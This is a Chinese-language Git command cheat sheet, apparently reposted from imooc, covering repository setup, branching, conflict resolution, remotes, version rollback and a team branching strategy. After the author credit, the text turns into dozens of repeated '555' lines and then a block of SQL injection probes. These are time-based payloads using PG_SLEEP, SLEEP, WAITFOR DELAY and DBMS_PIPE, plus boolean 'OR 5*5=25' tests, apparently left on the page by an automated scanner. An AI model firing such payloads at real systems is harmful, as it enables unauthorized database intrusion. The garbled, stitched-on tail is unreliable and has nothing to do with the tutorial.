版本库又名仓库,英文名repository,你可以简单理解成一个目录,这个目录里面的所有文件都可以被Git管理起来,每个文件的修改、删除,Git都能跟踪,以便任何时刻都可以追踪历史,或者在将来某个时刻可以“还原”。
创建并提交一个版本库
课外知识: mkdir 创建目录; pwd 显示绝对路径; cat 文件名 查看文件内容 注:所有的版本控制系统,其实只能跟踪文本文件的改动,比如TXT文件,网页,所有的程序代码等等,Git也不例外。而图片、视频这些二进制文件,虽然也能由版本控制系统管理,但没法跟踪文件的变化,只能把二进制文件每次改动串起来,也就是只知道图片从100KB改成了120KB,但到底改了啥,版本控制系统不知道,也没法知道。
Microsoft的Word格式是二进制格式,因此,版本控制系统是没法跟踪Word文件的改动的,如果要真要使用版本控制系统,就要以纯文本方式编写文件。 千万不要使用Windows自带的记事本编辑任何文本文件,原因是Microsoft开发记事本的团队,在每个文件开头添加了0xefbbbf(十六进制)的字符,你会遇到很多不可思议的问题.
1.核心操作
# 1.初始化仓库,.git目录默认隐藏,可以通过命令ls -ah显示
git init
# 2.把文件添加到版本库,可以一次添加多个文件,git add . 代表把所有文件全部提交
git add 文件名 文件名
# 3.把文件提交到当前分支
git commit -m '本次提交的说明'
# 4.把项目提交到(远程)仓储
git push
2.分支管理
# 1.查看远程分支
git branch -a
# 2.查看本地分支
git branch
# 3.创建并切换分支 (加-b表示创建并切换)
git checkout -b 分支名
# 4.切换回分支
git checkout 分支名
# 5.从主分支里创建新分支
git checkout master -b 新分支名
# 6.合并某分支到当前分支
git merge 分支名
# 7.删除分支
git branch -d 分支名
git branch -D 分支名 (强行删除分支)
3.解决冲突
# 情景一 提交或拉取时冲突
git stash
git pull
git stash pop
# 情景二 如果你想完全地覆盖本地的代码,只保留服务器端代码,则直接回退到上一个版本,再进行pull
git reset --hard HEAD^
git pull origin master
# 注:origin master表示git的主分支
# 情景三 分支合并时冲突(当我们git merge 分支名 时)
1.git status (查看发生冲突的文)
2.然后手动合并冲突
3.git add . (添加更改后的文件)
4.git commit -m 'xj' (提交)
4.查看ssh密钥
# 1.进入.ssh目录
cd ~/.ssh
# 2.查看id_rsa.pub文件
cat id_rsa.pub
5.克隆远程项目
git clone 远程源地址
6.回退某个操作
# 1.查看命令历史
git reflog
# 2.根据commitID撤销某个操作
git reset --hard 某个commitId
7.和远程分支建立关联
git branch --set-upstream-to=origin/远程分支的名字 本地分支名
8.删除文件
# 删除版本库中的文件
git rm filename
# 恢复工作区中误删的文件
git checkout -- filename
# 注:git checkout其实是用版本库里的版本替换工作区的版本,无论工作区是修改还是删除,都可以“一键还原”。
9.远程仓储
# 1.创建sshkey密钥
ssh-keygen -t rsa -C "youremail@example.com"
# 2.在远程仓库中添加ssh公钥
# 3.关联远程库
git remote add origin git@server-name:path/repo-name.git
# 4.第一次推送master分支的所有内容,此后只需要使用git push origin master即可推送最新修改
git push -u origin master
10.多人协作
# 1.查看远程仓储的详细信息
git remote -v
# 2.推送本地分支到远程仓库,
#1.如果发生冲突,用git pull试图合并,如果发生冲突则解决冲突,再进行推送
#2.如果git pull后提示no tracking information(没有追踪信息),则进行第四项,建立关联,之后pull,有冲突再合并
git push origin 本地分支名
# 3.在本地创建和远程分支对应的分支
git checkout -b 本地分支 origin/远程分支名
# 4.建立本地分支和远程分支的关联
git branch --set-upstream 本地分支名 origin/远程分支名
11.分支策略
- master分支应该是非常稳定的,也就是仅用来发布新版本,平时不能在上面干活;
- 干活都在dev分支上,也就是说,dev分支是不稳定的,到某个时候,比如1.0版本发布时,再把dev分支合并到master上,在master分支发布1.0版本;
- 每个人都有自己的分支,时不时地往dev分支上合并就可以了
补充
# git fetch和git pull的区别
与git pull相比git fetch相当于是从远程获取最新版本到本地,但不会自动merge。如果需要有选择的合并git fetch是更好的选择。效果相同时git pull将更为快捷。
# 查看仓库当前的状态
git status
// 查看提交日志
git log
# 回退版本,在git中用HEAD表示当前版本,HEAD^表示上一个版本,HEAD^^表示上上个版本
git reset --hard HEAD^ 或
git reset --hard 3628164 (数字代表log里commit后面的id,只需要填前几位就可以)
# 窗口关闭后回退版本(git reflog用来记录你的每一次命令)
git reflog
# 工作区和暂存区
工作区就是你建立的能看见的目录,.git即为git的版本库,Git的版本库里存了很多东西,其中最重要的就是称为stage(或者叫index)的暂存区,Git为我们自动创建的第一个分支master,以及指向master的一个指针叫HEAD。
用git add把文件添加进去,实际上就是把文件修改添加到暂存区;
用git commit提交更改,实际上就是把暂存区的所有内容提交到当前分支
# 撤销修改
1.直接丢弃工作区的修改,用命令git checkout -- file
2.修改添加到了暂存区,想丢弃修改,分两步,第一步用命令git reset HEAD file,就回到了场景1,第二步按场景1操作
最后,欢迎欢迎大家关注 趣谈前端一起探讨前端的魅力。
作者:徐小夕 链接:http://www.imooc.com/article/295318 来源:慕课网 本文原创发布于慕课网 ,转载请注明出处,谢谢合作
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
555
(select 198766*667891 from DUAL)
(select 198766*667891)
@@KSyYd
555����%2527%2522\'\"
555'"
555
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
555hjni3qSE')) OR 47=(SELECT 47 FROM PG_SLEEP(15))--
555hb4L0SjV') OR 865=(SELECT 865 FROM PG_SLEEP(15))--
555lY2mUdZf' OR 509=(SELECT 509 FROM PG_SLEEP(15))--
555-1)) OR 577=(SELECT 577 FROM PG_SLEEP(15))--
555-1) OR 817=(SELECT 817 FROM PG_SLEEP(15))--
555-1 OR 468=(SELECT 468 FROM PG_SLEEP(15))--
555rKBOXlhz'
555-1 waitfor delay '0:0:15' --
555-1)
555-1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
555*if(now()=sysdate(),sleep(15),0)
-1" OR 5*5=25 or "WTveGvkE"="
-1' OR 5*5=25 or 'pyESe67L'='
-1" OR 5*5=25 --
-1' OR 5*5=25 --
-1 OR 5*5=25
-1 OR 5*5=25 --
555
555
555